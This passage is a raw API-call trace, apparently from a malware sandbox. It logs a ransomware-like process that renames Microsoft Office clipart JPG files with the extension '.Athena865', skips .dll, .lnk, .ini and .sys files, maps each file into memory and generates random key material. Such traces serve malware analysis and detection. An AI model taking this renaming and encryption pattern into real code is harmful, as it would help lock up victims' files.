dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3180, lpName=0x0) returned 0x154 [0130.588] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3180) returned 0x100000 [0130.590] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.590] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.590] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.592] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0337280.JPG" | out: lpString1="J0337280.JPG") returned="J0337280.JPG" [0130.592] lstrlenW (lpString="J0337280.JPG") returned 12 [0130.592] lstrlenW (lpString="Athena865") returned 9 [0130.592] lstrcmpiW (lpString1="37280.JPG", lpString2="Athena865") returned -1 [0130.592] lstrlenW (lpString=".dll") returned 4 [0130.592] lstrcmpiW (lpString1="J0337280.JPG", lpString2=".dll") returned 1 [0130.592] lstrlenW (lpString=".lnk") returned 4 [0130.592] lstrcmpiW (lpString1="J0337280.JPG", lpString2=".lnk") returned 1 [0130.592] lstrlenW (lpString=".ini") returned 4 [0130.592] lstrcmpiW (lpString1="J0337280.JPG", lpString2=".ini") returned 1 [0130.592] lstrlenW (lpString=".sys") returned 4 [0130.592] lstrcmpiW (lpString1="J0337280.JPG", lpString2=".sys") returned 1 [0130.592] lstrlenW (lpString="J0337280.JPG") returned 12 [0130.592] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.Athena865") returned 73 [0130.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.athena865"), dwFlags=0x1) returned 1 [0130.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.594] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12896) returned 1 [0130.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.594] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.595] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.595] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.595] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3560, lpName=0x0) returned 0x154 [0130.597] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3560) returned 0x100000 [0130.598] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.599] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.599] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.600] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341328.JPG" | out: lpString1="J0341328.JPG") returned="J0341328.JPG" [0130.600] lstrlenW (lpString="J0341328.JPG") returned 12 [0130.600] lstrlenW (lpString="Athena865") returned 9 [0130.600] lstrcmpiW (lpString1="41328.JPG", lpString2="Athena865") returned -1 [0130.600] lstrlenW (lpString=".dll") returned 4 [0130.600] lstrcmpiW (lpString1="J0341328.JPG", lpString2=".dll") returned 1 [0130.600] lstrlenW (lpString=".lnk") returned 4 [0130.600] lstrcmpiW (lpString1="J0341328.JPG", lpString2=".lnk") returned 1 [0130.600] lstrlenW (lpString=".ini") returned 4 [0130.600] lstrcmpiW (lpString1="J0341328.JPG", lpString2=".ini") returned 1 [0130.600] lstrlenW (lpString=".sys") returned 4 [0130.600] lstrcmpiW (lpString1="J0341328.JPG", lpString2=".sys") returned 1 [0130.600] lstrlenW (lpString="J0341328.JPG") returned 12 [0130.600] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.Athena865") returned 73 [0130.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.athena865"), dwFlags=0x1) returned 1 [0130.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.602] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10196) returned 1 [0130.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.602] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.603] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.603] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.606] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.607] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.607] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.607] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341344.JPG" | out: lpString1="J0341344.JPG") returned="J0341344.JPG" [0130.608] lstrlenW (lpString="J0341344.JPG") returned 12 [0130.608] lstrlenW (lpString="Athena865") returned 9 [0130.608] lstrcmpiW (lpString1="41344.JPG", lpString2="Athena865") returned -1 [0130.608] lstrlenW (lpString=".dll") returned 4 [0130.608] lstrcmpiW (lpString1="J0341344.JPG", lpString2=".dll") returned 1 [0130.608] lstrlenW (lpString=".lnk") returned 4 [0130.608] lstrcmpiW (lpString1="J0341344.JPG", lpString2=".lnk") returned 1 [0130.608] lstrlenW (lpString=".ini") returned 4 [0130.608] lstrcmpiW (lpString1="J0341344.JPG", lpString2=".ini") returned 1 [0130.608] lstrlenW (lpString=".sys") returned 4 [0130.608] lstrcmpiW (lpString1="J0341344.JPG", lpString2=".sys") returned 1 [0130.608] lstrlenW (lpString="J0341344.JPG") returned 12 [0130.608] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.Athena865") returned 73 [0130.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.athena865"), dwFlags=0x1) returned 1 [0130.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.610] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11485) returned 1 [0130.610] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.611] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.611] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.612] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.617] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.618] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.618] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.618] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341439.JPG" | out: lpString1="J0341439.JPG") returned="J0341439.JPG" [0130.618] lstrlenW (lpString="J0341439.JPG") returned 12 [0130.618] lstrlenW (lpString="Athena865") returned 9 [0130.618] lstrcmpiW (lpString1="41439.JPG", lpString2="Athena865") returned -1 [0130.618] lstrlenW (lpString=".dll") returned 4 [0130.618] lstrcmpiW (lpString1="J0341439.JPG", lpString2=".dll") returned 1 [0130.618] lstrlenW (lpString=".lnk") returned 4 [0130.618] lstrcmpiW (lpString1="J0341439.JPG", lpString2=".lnk") returned 1 [0130.618] lstrlenW (lpString=".ini") returned 4 [0130.618] lstrcmpiW (lpString1="J0341439.JPG", lpString2=".ini") returned 1 [0130.618] lstrlenW (lpString=".sys") returned 4 [0130.619] lstrcmpiW (lpString1="J0341439.JPG", lpString2=".sys") returned 1 [0130.619] lstrlenW (lpString="J0341439.JPG") returned 12 [0130.619] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.Athena865") returned 73 [0130.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.athena865"), dwFlags=0x1) returned 1 [0130.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.620] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19565) returned 1 [0130.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.620] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.621] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.621] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.625] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.625] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.625] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.626] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341447.JPG" | out: lpString1="J0341447.JPG") returned="J0341447.JPG" [0130.626] lstrlenW (lpString="J0341447.JPG") returned 12 [0130.626] lstrlenW (lpString="Athena865") returned 9 [0130.626] lstrcmpiW (lpString1="41447.JPG", lpString2="Athena865") returned -1 [0130.626] lstrlenW (lpString=".dll") returned 4 [0130.626] lstrcmpiW (lpString1="J0341447.JPG", lpString2=".dll") returned 1 [0130.626] lstrlenW (lpString=".lnk") returned 4 [0130.626] lstrcmpiW (lpString1="J0341447.JPG", lpString2=".lnk") returned 1 [0130.626] lstrlenW (lpString=".ini") returned 4 [0130.626] lstrcmpiW (lpString1="J0341447.JPG", lpString2=".ini") returned 1 [0130.626] lstrlenW (lpString=".sys") returned 4 [0130.626] lstrcmpiW (lpString1="J0341447.JPG", lpString2=".sys") returned 1 [0130.626] lstrlenW (lpString="J0341447.JPG") returned 12 [0130.627] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.Athena865") returned 73 [0130.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.athena865"), dwFlags=0x1) returned 1 [0130.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.628] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19160) returned 1 [0130.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.628] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.629] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.629] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.632] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.632] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.633] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.633] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341448.JPG" | out: lpString1="J0341448.JPG") returned="J0341448.JPG" [0130.633] lstrlenW (lpString="J0341448.JPG") returned 12 [0130.633] lstrlenW (lpString="Athena865") returned 9 [0130.633] lstrcmpiW (lpString1="41448.JPG", lpString2="Athena865") returned -1 [0130.634] lstrlenW (lpString=".dll") returned 4 [0130.634] lstrcmpiW (lpString1="J0341448.JPG", lpString2=".dll") returned 1 [0130.634] lstrlenW (lpString=".lnk") returned 4 [0130.634] lstrcmpiW (lpString1="J0341448.JPG", lpString2=".lnk") returned 1 [0130.634] lstrlenW (lpString=".ini") returned 4 [0130.634] lstrcmpiW (lpString1="J0341448.JPG", lpString2=".ini") returned 1 [0130.634] lstrlenW (lpString=".sys") returned 4 [0130.634] lstrcmpiW (lpString1="J0341448.JPG", lpString2=".sys") returned 1 [0130.634] lstrlenW (lpString="J0341448.JPG") returned 12 [0130.634] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.Athena865") returned 73 [0130.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.athena865"), dwFlags=0x1) returned 1 [0130.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.635] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21187) returned 1 [0130.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.636] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.637] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.637] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.639] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.640] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.640] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.641] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341455.JPG" | out: lpString1="J0341455.JPG") returned="J0341455.JPG" [0130.641] lstrlenW (lpString="J0341455.JPG") returned 12 [0130.641] lstrlenW (lpString="Athena865") returned 9 [0130.641] lstrcmpiW (lpString1="41455.JPG", lpString2="Athena865") returned -1 [0130.641] lstrlenW (lpString=".dll") returned 4 [0130.641] lstrcmpiW (lpString1="J0341455.JPG", lpString2=".dll") returned 1 [0130.641] lstrlenW (lpString=".lnk") returned 4 [0130.641] lstrcmpiW (lpString1="J0341455.JPG", lpString2=".lnk") returned 1 [0130.641] lstrlenW (lpString=".ini") returned 4 [0130.641] lstrcmpiW (lpString1="J0341455.JPG", lpString2=".ini") returned 1 [0130.641] lstrlenW (lpString=".sys") returned 4 [0130.641] lstrcmpiW (lpString1="J0341455.JPG", lpString2=".sys") returned 1 [0130.641] lstrlenW (lpString="J0341455.JPG") returned 12 [0130.641] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.Athena865") returned 73 [0130.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.athena865"), dwFlags=0x1) returned 1 [0130.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.643] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29783) returned 1 [0130.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.644] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.644] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.644] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.651] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.651] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.651] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.652] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341475.JPG" | out: lpString1="J0341475.JPG") returned="J0341475.JPG" [0130.652] lstrlenW (lpString="J0341475.JPG") returned 12 [0130.652] lstrlenW (lpString="Athena865") returned 9 [0130.652] lstrcmpiW (lpString1="41475.JPG", lpString2="Athena865") returned -1 [0130.652] lstrlenW (lpString=".dll") returned 4 [0130.652] lstrcmpiW (lpString1="J0341475.JPG", lpString2=".dll") returned 1 [0130.652] lstrlenW (lpString=".lnk") returned 4 [0130.652] lstrcmpiW (lpString1="J0341475.JPG", lpString2=".lnk") returned 1 [0130.652] lstrlenW (lpString=".ini") returned 4 [0130.653] lstrcmpiW (lpString1="J0341475.JPG", lpString2=".ini") returned 1 [0130.653] lstrlenW (lpString=".sys") returned 4 [0130.653] lstrcmpiW (lpString1="J0341475.JPG", lpString2=".sys") returned 1 [0130.653] lstrlenW (lpString="J0341475.JPG") returned 12 [0130.653] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.Athena865") returned 73 [0130.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.athena865"), dwFlags=0x1) returned 1 [0130.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.654] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43490) returned 1 [0130.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.655] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.655] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.659] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.659] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.659] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.660] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0341499.JPG" | out: lpString1="J0341499.JPG") returned="J0341499.JPG" [0130.660] lstrlenW (lpString="J0341499.JPG") returned 12 [0130.660] lstrlenW (lpString="Athena865") returned 9 [0130.660] lstrcmpiW (lpString1="41499.JPG", lpString2="Athena865") returned -1 [0130.660] lstrlenW (lpString=".dll") returned 4 [0130.660] lstrcmpiW (lpString1="J0341499.JPG", lpString2=".dll") returned 1 [0130.660] lstrlenW (lpString=".lnk") returned 4 [0130.661] lstrcmpiW (lpString1="J0341499.JPG", lpString2=".lnk") returned 1 [0130.661] lstrlenW (lpString=".ini") returned 4 [0130.661] lstrcmpiW (lpString1="J0341499.JPG", lpString2=".ini") returned 1 [0130.661] lstrlenW (lpString=".sys") returned 4 [0130.661] lstrcmpiW (lpString1="J0341499.JPG", lpString2=".sys") returned 1 [0130.661] lstrlenW (lpString="J0341499.JPG") returned 12 [0130.661] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.Athena865") returned 73 [0130.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.athena865"), dwFlags=0x1) returned 1 [0130.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.Athena865" (normalized: "c:\\program 